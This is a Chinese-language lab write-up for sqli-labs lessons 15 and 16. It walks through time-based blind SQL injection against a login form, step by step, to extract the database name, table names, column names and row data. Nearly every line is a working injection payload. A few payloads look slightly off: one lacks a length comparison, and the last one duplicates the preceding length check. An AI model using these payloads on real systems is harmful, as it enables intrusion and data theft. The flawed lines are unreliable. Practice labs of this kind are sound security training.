sqli-labs less-15 --> less-16
Less-15（布尔/时间盲注）
1.判断是否存在注入点
无论是输入admin/admin’/admin” 都显示回显正常，于是执行uname=admin' and sleep(5)#&passwd=&submit=Submit，发现延时回显，首先判断存在注入点，注入方式为：’’
2.爆库
爆库长：uname=admin' and if(length(database())=8,sleep(3),1)#&passwd=&submit=Submit
判断的数据库字符长度为8
爆库名：uname=admin' and if(substr(database(),1,1)='s',sleep(3),1)#&passwd=&submit=Submit
判断数据库名字的第一个字符
3.爆表
爆第一个表长：uname=admin' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),1)#&passwd=&submit=Submit
爆第一个表名：admin' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(3),1)#
4.爆字段
爆第一个字段的长度：admin' and if(length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2,sleep(3),1)#
爆第一个字段名：admin' and if(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='i',sleep(3),1)#
5.爆数据
爆第一个数据的长度：admin' and if(length((select id from emails limit 0,1))=1,sleep(3),1)#
爆第一个数据：admin' and if(substr((select id from emails limit 0,1),1,1)=1,sleep(3),1)#
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Less-16 （布尔/时间盲注）
1.判断是否存在注入点
执行uname=admin" and sleep(3)#&passwd=&submit=Submit或者uname=admin’ and sleep(3)#&passwd=&submit=Submit后均无反应，于是尝试执行uname=admin") and sleep(3)#&passwd=&submit=Submit，页面发生延迟，判断存在注入点
2.爆库
爆库长：uname=admin") and if (length(database())=8,sleep(3),1)#&passwd=&submit=Submit
判断数据库的长度是8
爆库名：uname=admin") and if (substr(database(),1,1)='s',sleep(3),1)#&passwd=&submit=Submit
判断数据库名字的第一个字母是什么
以此类推，得到数据库名为’security’
3.爆表
爆第一个表长：uname=admin") and if (length((select table_name from information_schema.tables where table_schema='security' limit 0,1)),sleep(3),1)#&passwd=&submit=Submit
爆第一个表名：uname=admin") and if (substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(3),1)#&passwd=&submit=Submit
4.爆字段
爆第一个字段长：uname=admin") and if (length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2,sleep(3),1)#&passwd=&submit=Submit
爆第一个字段名：uname=admin") and if (substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='i',sleep(3),1)#&passwd=&submit=Submit
5.爆数据
爆第一个数据长：uname=admin") and if (length((select id from emails limit 0,1))=1,sleep(3),1)#&passwd=&submit=Submit
爆第一个数据：uname=admin") and if (length((select id from emails limit 0,1))=1,sleep(3),1)#&passwd=&submit=Submit
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